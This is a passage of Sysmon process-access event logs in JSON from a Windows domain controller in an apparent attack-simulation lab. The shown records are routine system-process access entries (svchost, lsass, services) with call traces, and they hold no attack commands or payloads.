C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 928\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001013110200}\r\nTargetProcessId: 2608\r\nTargetImage: C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"928","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001013110200}","TargetProcessId":"2608","TargetImage":"C:\\Program Files\\Amazon\\XenTools\\LiteAgent.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: 